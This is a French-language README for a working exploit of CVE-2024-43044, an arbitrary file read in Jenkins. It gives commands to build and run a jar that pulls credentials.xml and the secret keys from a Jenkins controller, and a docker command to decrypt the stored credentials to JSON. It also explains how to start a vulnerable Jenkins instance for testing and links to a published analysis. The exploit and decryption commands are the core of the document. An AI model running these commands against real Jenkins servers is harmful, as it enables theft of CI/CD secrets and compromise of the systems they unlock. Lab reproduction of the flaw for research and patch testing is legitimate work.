
Exploit pour CVE-2024-43044 permettant une lecture arbitraire de fichiers depuis le contrôleur Jenkins afin d'extraire et de déchiffrer credentials.xml à l'aide de clés secrètes.
Ceci est un exploit pour CVE-2024-43044, une lecture de fichier arbitraire qui permet à un agent de récupérer des fichiers depuis le contrôleur.
L'exploit utilise la vulnérabilité pour lire le fichier credentials.xml et obtenir les clés secrètes nécessaires à son déchiffrement.
Code initial : https://github.com/convisolabs/CVE-2024-43044-jenkins Analyse originale : https://blog.convisoappsec.com/en/analysis-of-cve-2024-43044/
mvn package
java -jar exploit.jar mode_secret <jenkinsUrl> <nodeName> <nodeSecretKey>
docker run \
--rm \
--network none \
--workdir / \
--mount "type=bind,src=$PWD/master.key,dst=/master.key" \
--mount "type=bind,src=$PWD/hudson.util.Secret,dst=/hudson.util.Secret" \
--mount "type=bind,src=$PWD/credentials.xml,dst=/credentials.xml" \
docker.io/hoto/jenkins-credentials-decryptor:latest \
/jenkins-credentials-decryptor \
-m master.key \
-s hudson.util.Secret \
-c credentials.xml \
-o json
Vous pouvez le tester sur une version vulnérable en utilisant docker :
docker run -p 8080:8080 -p 50000:50000 --restart=on-failure jenkins/jenkins:2.441-jdk17
Une fois que vous avez un Jenkins en cours d'exécution, configurez un agent.